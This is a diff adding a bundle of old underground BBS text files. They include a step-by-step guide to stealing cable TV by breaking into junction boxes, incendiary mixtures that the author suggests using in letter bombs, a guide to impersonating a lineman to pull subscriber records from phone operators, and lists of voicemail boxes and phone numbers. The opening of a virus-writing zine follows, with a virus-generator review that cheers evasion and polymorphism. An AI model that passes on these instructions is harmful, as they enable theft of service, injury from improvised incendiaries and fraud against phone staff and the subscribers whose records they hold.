|| + |==========================| + + After reading another G-file on cable theft that was almost completely +inaccurate and totally wrong, I felt that I was obligated to write a G-file +about cable piracy that really does work. + +BACKGROUND: +----------- + There are two ways to scramble pay-channels (HBO, Showtime, Cinemax, The +Movie Channel, Disney, Playboy, Bravo, etc.). I call them the "old" way and +the "new" way. (Yeah I know it's dumb) + The "old" way of scrambling channels works this way: The cable company +sends a clean, unscrambled signal of ALL the pay-channels, and only at the +"junction box", "cable box", "green dome" or "beige dome" are they scrambled +(this is not really true...a few channels like Disney, in my area, are +scrambled...so you'll just have to go without Goofy). + The cable company sends a clean signal out to a neighborhood in large 2 +inch diameter underground cable. At every 4 houses; 4 houses square, that is +to say you, your next door neighbor, the house behind you, and the house +behind your next door neighbor (or every 2 if your house backs up to a street +or a park etc.) this underground cable comes out of the ground and into a +"green dome" ("beige dome" if it's every 2 houses) is split into 4 separate +coaxial cables (the same size as the cable in the back of your TV), and the +signal boosted. Then, depending on what each of the 4 houses subscribes to, +certain channels are scrambled. + The cable company scrambles channels by screwing the cable into a 3" +metal cylinder. These cylinders can range in size from 2" to 4" but it is +usually 3". The cylinder will have a sticker on it with one or more letters +telling what channel(s) is scrambles. For instance if it scrambles channel +20, it will say "NF-G", the last F being the important letter. If it +scrambles channels 20,21,22 it will say "NF-GHI". Cable companies are weird, +so they might put two of these cylinders on, say one "NF-G" and one "NF-HI", +but it will do the same job the as the aforementioned. + +GETTING CABLE IF YOU DON'T SUBSCRIBE: +------------------------------------- + This is for the "old" way you've just read about. First, you'll have to +find where the "green dome" is. The "green dome" will be either a green dome +(of course) or a beige dome, with a yellow "Cable theft is naughty" sticker on +it. Like I said above, you have a one in 4 (or 1 in 2) chance of having it in +your own backyard. If it's not in your backyard, then find out whose backyard +it is in, and go over there some day when they're at work or something. + Now that you've located it, you must get the master lock off. There are +three proven methods of doing this. You can either kick the living shit out +of it, or take some pliers and grab the loop that the lock goes into, and bend +it off by twisting it back and forth, or take heavy duty wire cutters and cut +the loop off. And don't worry about the damage you've done; cable men do the +exact same thing, and if you're lucky they might have done it already! So it +won't appear to be anything out of the ordinary. + Once you've got the lock off, you can take the big green dome off. You +will see a box with 4 terminals (places to screw in cable): + _______ + / \ + | o o | + | | <-- the "box", each "o" is a + | o o | terminal to screw in a + \_______/ cable + | | + | | <-- metal pole/big cable + | | + +they may or may not be any cable currently screwed into these depending on if +you and your neighbors subscribe to cable. If someone does not subscribe to +cable, there will simply be a terminal where the cable is not screwed in. The +terminal where the cable is not screwed in might have a little dull grey 1" +cylinder to prevent you from getting cable free. See, the cylinder is hollow +and will carry no signal, so if you reconnect the cable to it, you will get +nothing. DO NOT RIP IT OUT!!! I have, and it will rip the terminal right out +with it and then the cable company WILL come out to fix it. These things use +the same idea as child-proof bottles; you have to push "in"/towards the "box" +and then unscrew. It will take awhile to do this, so don't get perturbed. + So, if you are not currently subscribing to cable at all, there will be +an unused terminal, and one end of a cable lying somewhere in the dome. All +you have to do is reconnect the unused cable to the unused terminal, and there +you go! Instant Cable with all pay-channels included! + If you are paranoid, you can connect it at 6 pm (when the cable company +closes for the day), and then disconnect it before 9 or 10 am. This way, even +if they come out and look at it, it will be disconnected--nothing unusual. + Of course you can leave it hooked up ALL the time. It sounds crazy, but +Mad Poo has had the cable company come to his house four times and work on his +box, and they didn't say a word! I guess the cable linemen don't have records +of what everyone subscribes to. + +GETTING PAY-CHANNELS IF YOU ARE ALREADY A BASIC SUBSCRIBER: +----------------------------------------------------------- + If you are currently subscribing to the basic cable service, and you want +all the pay-channels that you aren't already subscribing for, read this. +First you'll want to find out which cable/terminal you are. Go turn on your +TV and then go out to the green dome and unscrew one of the cables from a +terminal. Go back inside and see if you've disconnected the cable for +yourself. Once you find which cable disconnects yours, your done. And DON'T +leave your neighbors unconnected or the cable company WILL come out. + Remember how I said that cable companies scramble the pay-channels? +(above, in the BACKGROUND section) Well, those 3" metal cylinders are kept in +black plastic cases about 9" long. There are a few ways of getting the +cylinders off. The first is to get some pliers and grab the cable tight, +close to the black cylinder. Then grabbing the black cylinder as tight as you +can (so that it grips the cylinder inside), unscrew the cable. Once you've +got one side unscrewed, do the other side. + The second way is to get wire cutters and cut up the edge of the black +plastic cylinder. This is a lot easier, and this way you actually get to see +the 3" metal cylinders inside. I recommend this one. + When you're done with that, either attach the cable coming out of the +ground to the terminal (leaving you with one short length of cable; go use it +inside your house or something), or get a male-to-male coaxial cable converter +and attach the two (this will not look suspicious, as the cable company uses +them too). + +THE "NEW" WAY OF SCRAMBLING SIGNALS: +------------------------------------ + Just like phreaking has it's ESS, so cable piracy has it's Addressable +Converter Box. The "new" way works like this. You have an Addressable +Converter Box at your house, which means that the cable company can talk to +your converter box and tell it which channels you are currently subscribing +to. ALL pay-channels are pre-scrambled (there is never a "clean" signal to +tap into, so the "old" way of cable piracy won't work). If you are currently +subscribing to HBO/channel 33, then the cable company will send a signal to +your converter box saying "un-scramble channel 33". So your converter box +will unscramble that channel. + The Addressable Converter Box is weird. Every hour or so, the cable +company will send out a signal to EVERY Addressable Converter Box and +depending on it's Address, it will tell it which services it gets. + Say my Converter Box's Address is 12345679 and I get HBO. So I take my +Converter Box to Mad Poo Bandit's house (who doesn't get HBO), and hook it up. +Then we can watch HBO over at his house now. See, the Converter Box can be +ANYWHERE. The only thing the cable company looks for is the Address of the +Box. + There are a couple of reasons you can't pirate cable with the "new" way. +One G-file talked about subscribing to ALL the pay-channels, waiting for the +cable company to send the signal to your Addressable Converter Box telling it +to un-scramble ALL the pay-channels. Then disconnecting the cable from the +Addressable Convert Box, calling them up and unsubscribing to all the +channels. Then when the cable company sends the signal to NOT un-scramble any +pay-channels, it will not reach the Addressable Converter Box because you have +disconnected it. + There are two problems with this idea. First, the cable company (in my +area anyway) sends out the signal telling Addressable Converter Boxes what to +un-scramble, and what not to, every hour or so. So once you re-connect cable +after the little scheme, you'd lose the channels in about an hour or two. + The second problem is that if you leave it unconnected for too long (a +few weeks-a few months) the RAM of the Addressable Converter Box will go bad +and forget even how to work at all! This is no bullshit! When it happens, +you have to call up the cable company and ask for them to re-initialize your +Addressable Converter Box. + +AFTERWORD: +---------- + In some areas, they have not made the transition from the "old" way to +the "new" way completely. This is obvious: not everyone is going to go out of +THEIR way to get a stupid Addressable Converter Box. So the cable company +must use BOTH ways. So you'll have a the "old" scrambled HBO on say channel +20, and the "new" scrambled HBO on channel 33. If you are in the transition, +you can still use the "old" way of cable piracy. + + + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Downloaded From P-80 International Information Systems 304-744-2253 12yrs+ +-------------------------------------------------------------------------- +- - +- How to get some quick flames going from a remote spot - +- File Created by Fallen Angel - +- - +-------------------------------------------------------------------------- + +There is a nifty chemical called potassium permanganate. It's used for +getting chickens the dietary potassium they need, and I've heard it is +used in snake bite kits. Today's lesson will cover making this stuff burn. +All you need is some potassium permanganate and common glyceryn alcohol. + +Materials +--------- + +Something to experiment on. + I played with this on the underside of a large coffee can, then + I store my things in the can too. + +A jar of potassium permanganate. + I will refer to it here as potassium pmgt. Get as much as you think + you will need for your purposes. $20.00 worth should last a while. + +Glyceryn alchahol. + I got mine at the Safeway near me. This is very common stuff so you + will not look suspicious in the least when you are buying it. + +Empty medicine bottle with a dropper. + This is optional. I used it for activating just a small amount of + potassium pmgt. + +Procedure +--------- + +Put some of the potassium pmgt. on a flat surface to experiment with. Fill +your dropper with glyceryn and put a drop or two in the middle of a spoonful +of the potassium pmgt. If it doesn't spark immediately give it a few seconds. +Notice that it burns only where you put the glyceryn. That is because the +chemical reaction between glyceryn and potassium pmgt. is what causes the +flame; potassium pmgt. is not inherently flammable, but a little glyceryn +changes that. + +Miscelaneous +------------ + +You can now figure out numerous ways of incorporating this into letter bombs, +car pranks or touch explosives. Be careful though, the mixture throws beads +of hot lava-like stuff out about a foot. Watch for more files coming soon +from Fallen Angel! + + + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Downloaded From P-80 International Information Systems 304-744-2253 12yrs+ + + + +-------------------------------------------------------------------------- +- - +- How to make a great hot flame with two common ingredients. - +- File Created by Fallen Angel - +- - +-------------------------------------------------------------------------- + +Two common things that you will find at any grocery store are saltpeter and +powdered sugar. Alone, they are harmless. Putting them together makes a +powder that is easy to ignite and will burn like crazy. I first tested this +with one of those old plastic Jaws toys. I mexed up the powder and put some +in his head. It just melted through the top and the plastic jaw dropped +letting the burning powder fall on the ground. + +Materials +--------- + +Saltpeter (potassium nitrate). + Get this at a grocery store. Make sure it is the first thing you buy + since they will get suspicious sometimes but there is nothing they can + do except joke with you about it! It costs around $2.50 a bottle. + +Powdered sugar or powdered carbon. + The finer the sugar the better. 10x confectioners sugar should work. + +1 lighter with a high flame setting or "strike anywhere" matches. + +Procedure +--------- + +Mix exactly equal amounts of saltpeter and powdered sugar in a container. +This stuff isn't caustic, so you can store it in plastic. Scoop out the +desired amount and place it where ever you want it to burn. Light it and +move so the wind doesn't blow smoke in your face. + +Miscelaneous +------------ + +This mixture is very smoky and burns with a high temperature. Remember: you +don't need to use the whole bottle just to fry a small helpless stuffed toy. +Save some for a rainy day fooling around in the garage. Watch for more files coming soon +from Fallen Angel! + + + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + + +Downloaded From P-80 International Information Systems 304-744-2253 12yrs+ +-------------------------------------------------------------------------- +- - +- How to extract the hydrogen from plain water - +- File Created by Fallen Angel - +- - +-------------------------------------------------------------------------- + +To separate the hydrogen and oxygen contained in water is a simple process. I +made this file so that anyone with minimal equipment could have himself a +glass jar full of flamable hydrogen. When the process fills your jar, the +hydrogen won't be compressed, hot or radioactive. It will be room temperature +and room pressure. The same goes for the oxygen. + +Materials +--------- + +1 large bowl. + Preferably clear glass so you can see through it. + +2 carbon rods. + These can be take from carbon batteries such as Radio Shack's battery + club batteries. The bigger the better. + +1 DC power source. + I use a Sears 36-watt car battery charger. + +4 feet of insulated copper wire + +2 small jars. + Small enough to fit two in the bowl. I used some narrow, tall olive + jars. + +1 roll of duct tape. + +1 packet of sodium carbonate. + This is NOT baking soda which is sodium bicarbonate. Sodium carbonate + usually comes in a plastic package with tie-dye kits. It is a grainy + white powder. + +Procedure +--------- + +Fill the large bowl with water and dissolve half the packet of sodium +carbonate in it. Attach one carbon rod to a stripped end of each of the +copper wires with duct tape after you have cut it evenly into two pieces. Be +sure that no metal is showing on the end where you connected the carbon rods. +Somehow, make an electrical connection between the remaining ends of the wires +and the power source. If everything is working properly, you can now turn on +the power source and stick the carbon rods in the bowl. Watch them closely to +see which one is emitting bubbles twice as fast as the other once, as that +will be hydrogen and the slower one will be oxygen. If you want to burn this +hydrogen or inhale the oxygen, you can fill one of the small jars with water +from the bowl and turn it over on top of the rod with your favorite gas. Have +fun with this and be sure to keep your hands out of the way when you put a +match under the upside-down jar full of hydrogen when you light it! + +Miscellaneous +------------ + +I have tested this method for getting hydrogen gas and it works. I captured +it into a mayonaisse jar, then put a match underneath it and it blew leaves up +that were four feet away from me. It is powerful stuff. Watch for more files +coming soon from Fallen Angel! + + + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Downloaded From P-80 International Information Systems 304-744-2253 12yrs+ +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ S o c i a l E n g i n e e r i n g ³ +³ How to get Information ³ +³ By Fallen Angel ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +Have you ever wished you had the finesse of calling some high-level +operator up and getting all the information you need just by asking? Great! +I'll outline some simple steps to the art of social engineering, or getting +that you want, in this article. Social engineering really is an art and +should be treated as no less. Make sure you abide by these guidlines and +don't screw up because screwing up only alerts the security people that there +is an imposter just begging information off of the lame-brained operators. + +VOICE +----- +First, you need to be old enough to sound like you could actually be the +person you are trying to impersonate. The operators will be able to figure +out that you are not thier boss if they can tell you are only 13 years old and +your voice opens trunk lines (eg. 2600 Hz.) Get someone else to do it for you +or wait until *after* puberty to do this. + +OVERKILL +-------- +Don't act like you are a legitamit customer trying to get information because +that can clue the operators in as to what is actually going on. You should +consider calling as an fellow employee from another store from the chain, or +maybe as that persons supervisor. They may be stupid and subservient to thier +officials, but hired phone operators will know that the owner of the company +is not going to be calling Atlanta to find out technical information or C/NA on +someone that lives in Anchorage, Alaska. That would be overkill. The best +bet in getting information from a TSPS (dial 0 for one of these) operator is +to call as a lineman. A lineman is the guy that comes to your house to +install the phones. They usually hire contractors to run extensions under +your house as they don't want to deal with it themselves--don't call saying +you are having problems with your wire cutters and you need to know what the +local ANAC number is. + +PBX's +----- +PBX's are a nice utility to the social engineer because they almost insure +that you will get a different operator each time you call. With this +knowledge, and no ANI available to them, you can continue to query operators +on PBX's as many times as there are operators. Obviously, if you keep asking +the same person for information they will figure out that you don't know a +damn thing and are trying to leech them. + +CONFIDENCE +---------- +If you stutter a lot and trip over your words they will eventually notice that +you are not who you say you are. It doesn't hurt one bit to plan out exactly +what you are going to say and verbally run over a few times before you call. +You could screw up an insecure company by alerting them of the real world. + +JARGON +------ +It really helps to know the proper jargon and acronyms for the company you are +trying to get something out of. For instance "Hello there, this is Phred +Smith and I would shore like it if you could give me the adress and name of +512-555-555" wouldn't work as well as "This is Smith from line service. I +need caller name and adress for 512-555-5555" In this case being polite +doesn't do you much good. Good sources on jargon would be g-files on BBS's +or hacking/phreaking dictionaries. + +EXTENDERS +--------- +Always do your engineering from an extender because there are plenty of secure +places that will have ANI readouts on an LCD when you call in. They will call +you back and ask you why you were calling if they think you were engineering +them. They will get the dialout number for your extender if you call from an +extender. For all practical purposes, this is impossible to trace. + +BACKGROUND NOISE +---------------- +As a for instance, you are a telephone lineman and are boxing a call to C/NA. +Instead of hearing birds in the background, the C/NA operators hear +keyboard clicks and other phones ringing. They will not give you anything in +situations like this. Call when nobody else is home or if they are asleep. + +TIMING +------ +This is a small but important matter. The operators will know that you aren't +really installing a phone line if it's 2:30 a.m. and you are whispering so you +don't wake up the parents! You have to remember things like this. + + + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Downloaded From P-80 International Information Systems 304-744-2253 12yrs+ + Hackers Unlimited Listings + + -=] VMB's [=- + + +System # Box # Owner Comments +---------------==========-------------------================================ +800-227-6662 320 Mr. Perfect CodeLine +800-289-2121 118 ESX CodeLine + 126 Street Killer Personal + 127 Street Killer CodeLine + 128 ESX Personal + 131 Vortex Personal/Group(G-Force?) + 255 The Gremlin Unknown + 800 Public Enemy VMB List + 900 Unknown CodeLine +800-323-4243 254 The Encryptor CodeLine +800-444-7073 3590 The Encryptor Personal + 3528 TCS TCS Related Stuff + 4001 Mickey Mouse Club Hacker's Unlimited Magazine + 7078 Fallen Angel Rumors + 7765 Unknown Some Apple User + 9542 Jester CodeLine +800-446-1233 7881 ESX Personal + 7883 ESX VMB List + 7879 SlamHound/ESX Unknown +800-525-7243 **8889 Pure Genius Unknown +800-552-2240 5206 Console Cowboy +800-632-6681 2614 Con Artist +800-772-4634 358 The Gypsy Personal/CodeLine + 989 The Encryptor CodeLine +800-877-7448 402 Unknown BBS Voice Validation + +213-202-4381 N/A JDT +213-494-9700 N/A Public Enemy +213-856-8450 N/A The Annihilator +313-399-2596 N/A The Stranger +619-492-8078 N/A Trixder Ice +714-647-1958 N/A Mr. Music +714-987-5128 N/A Alpha-Bits +716-987-7439 N/A The Pirate +716-987-7502 N/A Death +716-987-7623 N/A Romper +716-987-7648 N/A AK47 +716-987-7666 N/A Jack The Ripper +818-594-7049 **7751 Whiplash + **7754 Ace + + +Key : + +* = Pound +N/A = No Extensions Required +Unknown = Couldn't Understand, Spoke Too Softly/Quickly, Etc. + + +-=] ----------------------------------------------------------------------- [=- + + + -=] BBS's [=- + + +Fone Number Name Baud Comment +----------------=============================--------========================== +(201)502-9115 Underground II 2400 Sysop : Rambone +(205)554-0480 FireBase Eagle 9600 Pirate Master Distribution +(205)979-2983 Byte Me 2400 Sysop : Omega Ohm +(206)255-1282 Ethereal Dimension 2400 Wasington's Finest +(206)352-4606 Alternate Reality 2400 Sysop : Mr. Classic +(206)462-7718 The Void 2400 Sysop : Zeke +(206)827-2029 The End 2400 +(206)839-5865 Neutral Zone 2400 Home Of TWNC +(213)476-6490 Mystic Knight 2400 Sysop : The Sniper +(213)833-8309 Insomnia 2400 +(217)332-4019 Golf City BBS 2400 Sysop : Egghead Dude +(217)359-2071 Realm Of Darkness 2400 Sysop : Dark Shadow +(303)363-7960 The Inter World 2400 Sysop : Tushka +(303)499-2928 The Late Night Prowl 2400 Phreak/Hack +(303)649-3510 Shockwave 14.8k Telegard Beta Site +(303)680-8622 The Vulgar Unicorn 2400 Games Only +(303)755-5934 The Forbidden Planet 2400 Utilities Only +(303)779-4451 The Software Exchange 2400 Sysop : The Gigilo +(303)794-2083 Dragon's Bane 1200 3pm-7pm Mountain Time +(303)933-3472 The Discordian Society 9600 Discordia Stuff +(303)979-9418 The Vulcan Way 2400 Star Trekkies +(312)297-5385 Gamer's Galaxy 2400 Sysop : Robocop +(408)446-0316 Lake Of Dreams 2400 Sysop : Grey Ghost +(408)268-6692 Billionaire Boys Club 9600 Home Sentinel BBS Prog. +(408)735-8685 Dragon's Heaven 2400 Wares Galore +(409)763-4032 Smash Palace South 2400 Phreak/Hack +(617)364-3304 Swift's Ridge 2400 Sysop : Sir Swift +(717)566-1129 The Frozen Desert 2400 Phreak/Hack +(801)298-1736 Port o' Tales 2400 Sysop : Merchant Prince +(801)486-5918 Crazy Nights 2400 Phreak/Hack +(817)545-5031 Satan's Hollow 1200 MMC Dist. Site #1 + +-=] ----------------------------------------------------------------------- [=- + + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + + +Downloaded From P-80 International Information Systems 304-744-2253 12yrs+ diff --git a/textfiles.com/magazines/ONESHOTS/i-diseases-03.txt b/textfiles.com/magazines/ONESHOTS/i-diseases-03.txt new file mode 100644 index 00000000..2eb9e763 --- /dev/null +++ b/textfiles.com/magazines/ONESHOTS/i-diseases-03.txt @@ -0,0 +1,3799 @@ + ================================= + Infectious Diseases, Issue 3, + Contents: + ================================= + + Produced by Virulent Graffiti Virus Production Organization + Edited By The Attitude Adjuster + + As one irate father said to his slightly preturbed son... + + "Give me a reason I should let you use my computer, if all you do is + write viruses on it!?!" + + Welcome to my world, dad! + + Contents ..................................................... I-D003.001 + + Letter of Ranting from The Attitude Adjuster ................. I-D003.002 + + Phalcon/Skism Gý Review ...................................... I-D003.003 + + What I saw the other day on FidoNet .......................... I-D003.004 + + Disassembly of (HA) YAM's Otto 6 ............................. I-D003.005 + + Fred Cohen on Virus Based Products ........................... I-D003.006 + + Disassembly of 10 Past 3 ..................................... I-D003.007 + + Soupy Virus Source ........................................... I-D003.008 + + Rapidly Approaching .......................................... I-D003.009 + + The Confusion Ended? ......................................... I-D003.010 + + 'Shit... What's wrong NOW?!?' ................................ I-D003.011 + + Disassembly of (we promise this is the last for now) the + Fellowship Virus ............................................. I-D003.012 + + DWI Source ................................................... I-D003.013 + + VGVPO Propaganda ............................................. VGVPO.ANS + The Adventures Guild Ad ...... TAG.ANS + Unphamiliar Territory Ad ..... UPT.TXT + Way Cool Lost Horizons Intro . HORIZONS.EXE + + are those over the counter virus remedies doing nothing for you? + + do you feel as if maybe youre a little bit fucked in the head for buying + that computer in the first place? + + maybe its the annoying snide comments on the screen, + + or the fact that windows doesnt seem to work anymore, + + the secondhand software kills the drive blues... + + whatever it is, + + you have realized that we are winning, + + and you are loosing... + + badly + + + Greetings: Invalid Media, DecimatoR, GHeap, Dark Angel, Pyster, + Unfriendly Giant, HitMan, Mirage, Shades, all virus writers + everywhere, my Mom (my modem ate her!), ICTOA, Paul, Josh, + and anybody else I forgot... oh, yeah, and you too... + ============================================ + Personal Rant from The Attitude Adjuster + By... err, The Attitude Adjuster + ============================================ + + Err... yo! + + Welcome again to Infectious Diseases, and we hope you enjoy this + as much as you've enjoyed our past productions (right... sure...). + + It has been a both discouraging and illuminating time since last + issue's release. I have raved on FidoNet more and more (those of you who + know me by name can see my great revelations... I have to keep myself under + control when I use my real name, hopefully I can get one of those Jon + Johnson type accounts to really allow me to express myself...), and was the + one who instigated the 'YAM really did write it' lie... I guess I've kind + of toned down on my YAM bashing, and even edited out most of the bad + comments about them in my dissassembly of their virus in this issue... + + I was rather pissed/saddened at the busting of ARCV, which Phalcon/ + SKISM has covered with commendable speed and accuracy, thanks guys! + + Now, I must say both 'Thank You,' and 'Fuck You,' to all Virulent + Graffiti members, who have both tried and not tried to get articles in for + ID. I, being the asshole-take charge type guy I am edited and put this + issue together in about 4 days, and will probably release it without the + knowledge of the group... I am quite happy with it, mainly because it + contains my disassemblies, and little else... If you don't love yourself, + who do you love? Also, I am trying something new... I know that I love to + view the activation routines out of viruses, but, ripping the code out is + an undue pain in the ass, and, I'd rather not run just any virus on my + system... I have ripped the 'bomb' routines from Otto6, Soupy, and Fellow- + ship, and left them as seperate code under the disassemblies... Go ahead + and assemble 'em, show 'em off... trade with friends... ah... I need a + life.. + + You'll note that this has a 40Hexish/Social Delinquency look to it. + Well, both of those publications are quite successful, so I figured that I + should use a conglomeration to see what I could come up with... For those + of you that (in the past) call us a P/S copy group, we will again tell you + to go fuck yourselves... True, we both are doing a YAM disassembly, and + true, I am stealing a little of the format, but, the first is a pure + coincedence, and the seconds is professional opinion over ownership... Also + note that we are never planning to release an MPC hack, in Pascal or other- + wise! + ======================== + Review of the P/S Gý + By The Attitude Adjuster + ======================== + + NOTE: The word 'idiot' is used throughout this document to refer to + people who would actually assemble MPC or Gý code and use it as an + original virus. Do not confuse this term with the 'idiot' which refers + to users of the 'Bad Influence' BBS (who would probably fit into the + other category as well!) + + "Gý, Phalcon/Skism's newest virus creation tool, is designed to allow + everyone easy access to computer virus source code. More than a simple + Vienna hack generator, it creates viruses "on-the-fly" as per the user + specifications. Gý is designed to be easily maintainable and extensible + through the use of special data files created especially for use by the + program." + -=P/S=- Gý Documentation + + I downloaded it eagerly, with the same anticipation I feel with + every P/S creation... I exited back to the famed 'C Prompt,' and began + unzipping the new find... but wait... I expected a revised PS-MPC... and I + was (happily) mistaken... + + Dark Angel has created another classic (though sure to get listed + under PS-MPC in VSUM, 'cuz hey, she doesn't even know her own name, let + alone what to name anyone's virus... [she fucked me over too, guys!]), + even more effective than the PS-MPC (or prunes...), and even more elegant + than the most IDE-Filled, Icon Based piece of Dynamic Link Library trash. + + 'On- the-fly' virus generation has come a long way from the VCS and + VCL days. The code is excellent, and even improved over MPC coding. I am + amazed and thrilled by the size of the code, as it is most compact, a great + learning tool for code optimization. + + The new 'debug resistance' is also a feature to be commended. Using + the Intel's 'one-byte-interrupt,' and the fact that this interrupt is used + as a breakpoint in debuggers makes for havok in most debuggers. Still, a + hardened programmer can slide by it, but, the 'one-byte-interrupt' factor + makes that a bitch, as the interrupt is, as I said, only one byte, instead + of the average 'CD XX' type configuration... + + + As with any virus generator, there are cons to be discussed. + + DecimatoR makes this point quite clear in 40Hex-9... allow me to + quote him... + + "The authors of MPC and VCL are very talented programmers. Unfortunately, + the users of their programs are just the opposite. REAL virus programmers + have a desire to LEARN assembler - it's a test of their skill and ability. + The users of MPC and VCL don't have that desire. They only have a desire + for recognition - and seeing their name in a virus is a massive ego trip + for them. Why? They did nothing that any Joe Blow couldn't have done + using a code generator. If they REALLY want to prove how cool they are, + let THEM write a damn virus generation program and release it. THAT ALONE + will show the world their skill and ability. As for USING the program, + well, I'm more impressed with a nicely formatted term paper using + WordPerfect than I am with viruses created using MPC and VCL. If you're + one of the lame idiots who uses MPC or VCL for "writing" viruses, then + listen up - those programs were written for 2 reasons - to prove the + programmer could write such a thing, and to be used as a LEARNING TOOL for + future virus writers - NOT to be abused the way they currently are." + + Exactly the point I want to make, barring that he is not as violent + as I am... but I will stifle the CAPS LOCK here... + + There WILL always be the idiots out there that refuse to learn, + merely to 'Wr1tE GnU \/1/>uZeZ (0/> \/I/>11)!!!1!11' Alas, they will NEVER + learn, and, though we may try, points like ours offer little help. + + That's why my personal opinion of code generators is quite low. Yes, + it is a VERY impressive work, and, I commend DA for his, as I do Nowhere + Man for his VCL, but, I am still not a supporter of code generators. + + It's the stigma I have with 'learning,' something that dates back to + when I was H/P avid (yeah, I' m a hacker turned programmer... yuk!). There + was a hush about users, you kept your mouth shut, learned what you saw, + read the t-files, and did slave work, like scanning, or simple hacking, and + you picked it up. + + The code generator idea is fine with me, but, it's release to the + general public hits the nerve in me that many H/P people balked about when + SYS-75 information is released into the public... there seems to be too + much power in the hands of blithering idiots. + + A beautiful virus, masterfully coded and programmed, with actual + work by a good-intentioned programmer is fine with me, but, like being + harassed by a company that has had it's INWATS fucked over, having my HD + smashed by a virus coded entirely in MPC, VLC, or Gý with a stupid FAT + fucker added in will really ruin my day. (On this note, this would never + happen... only the most heavily armored stealth will get thru my anti- + virus software, which I wrote myself) + + Idiots will use the generator, whether you try to stop them or not. + The 'password' on VCL (which was shittily concealed anyway... I mean, the + average joe could tell the ZIP password was ARoseIsARose) did nothing, and + as a result, there are malicious VCL viruses out there. + + This is why a listed future improvements bother me... let me quote + it directly... + + "o Supports multiple, semi-polymorphic encryption routines (full + polymorphism coming soon)." + + Yep... that's what it says, ' full polymorphism.' I have no doubt + that DA can do it. I have dissassembled (partially to source level) the MtE + and fucked with the new (and seemingly fucked up first version of) TPE and + have seen that it is not as hard as plugged to be, merely a task that must + be planned and charted from the start, as it is, in itself, a huge task. + Full polymorphism is something we would all benifit from, but, not to be + given in source form to idiots. I'd belive that text files on this subject, + or something of that like would be more appropriate... but, hey... + + On the note of DA's semi-polymorphic routines, they are, indeed, + semi-polymorphic. In the future, he might try something like instruction + flipping or selective BS addition, as an alternative to full polymorphism. + I also fucked up in my original analysis, and I apologize. Assuming that DA + uses all 4 indexable registers (SI,DI,BP,BX) for indirect addressing, and + all other unused registers for counting purposes, coupled with INC/INC, + ADD, and SUB incrementing, and add and xor encryption (I assembled a total + of 100 different CFG files, and only found xor and add encryption) I'd have + to guess at 144 generic wildcard strings to suffice. This is, of course, + too many. Now, assuming that we apply code frame tactics, we get the + following: + + MOV (UNKNOWN REGISTER), WORD (COULD BE THE INDEXABLE, MAYBE NOT) + MOV (UNKNOWN REGISTER), WORD (DITTO) + CRYPTLOOP: + 002Eh (ONLY IN EXE INFECTORS, CODESEG OVERRIDE) + BYTE (CORRESPONDS TO REGISTER USED FOR OPERATION (INDEXABLE)) + BYTE (EITHER 7 OR 37) + WORD (XOR OR ADD VALUE) + + EITHER INC/INC, SUB (INDEX REGISTER), -02 + OR ADD (INDEX REGISTER), 2 + + LOOP LOOPCRYPTLOOP (ONLY IF BYTE COUNTER IS CX) + (OTHERWISE) + + EITHER DEC/DEC, SUB (BYTE COUNT), 2 + OR ADD (BYTE COUNT), -2 + + OR (BYTE COUNT),(BYTE COUNT) + JNZ CRYPTLOOP + + Alogrythmically, this is a piece of cake, which is great, 'cuz the + more alogrythmic scans that must be added to a scanner, the greater it's + size and slowness grow... score one more for the virus writers. + + Indeed, with the addition of Gý into the world, this is one more + big score for the virus writers... thaks DA! + + ========================= + What I saw on FidoNet + Capture By The Attitude Adjuster + ========================= + + Here's something I pulled offa FidoNet Virus... kinda discourages me + in some ways I'll explain below. + + =========================================================================== +From : GREG GREELY Number : 858 of 987 +To : ALL Date : 12/16/92 12:42pm +Subject : True story Reference : NONE +Read : [N/A] (REPLIES) Private : NO +Conf : 168 - Virus................(FN) + +Hey, I have a true story for you all. + +I got a call from a doctor' s office. Their computers were acting strange +and locking up so I went over there and took a look at the system. Nothing +was out of place until I scanned it. Turns out, the guy has a Stoned virus +that's gone critical and he didn't even know it. He had scan but didn't +know how to run it. Since the system was already critical, I needed a clean +system disk to run CLEAN. It turns out the system disk(the original) was +infected too. The other 2 copies of the system disk, Dbase 3++, +Wordperfect, Windows 3.1, all of them. Every single application and every +single disk he had were infected. I didn't have a system disk with me so I +had to charge him double for going home and getting one. Some people are +sooooooooo ignorant. What a moron. + +--- Renegade v12-04 Beta + * Origin: DragonsLaire BBS - 718-596-5938 (1:278/613) + =========================================================================== + + Okay, Mr. Greely... what a moron, eh? + + Is this the message Anti-Virus wants to give to the public? Be + smart or else... I hardly think so... + + Anyway, as for this message, I feel so stupid now, 'cuz I don't + have a system disk laying here, and you' d probably have to charge me + double! I think that I should probably be shot because I am so anti- + virus ignorant. + + Wake up, you idiot! The man didn't know... so, you ridicule him, + not a brilliant strategy. The man needed to be informed, not chastized + behind his back... + + I'm not sure, is this the attitude of most "Anti-Virus + Professionals?" I'd like to know... if you consider yourself one, write + us on one of our boards... + =========================== + Disassembly of Otto 6 + By The Attitude Adjuster + =========================== + + Well... I can't help it, I wanted to brush up on my disassmembly + skills, as 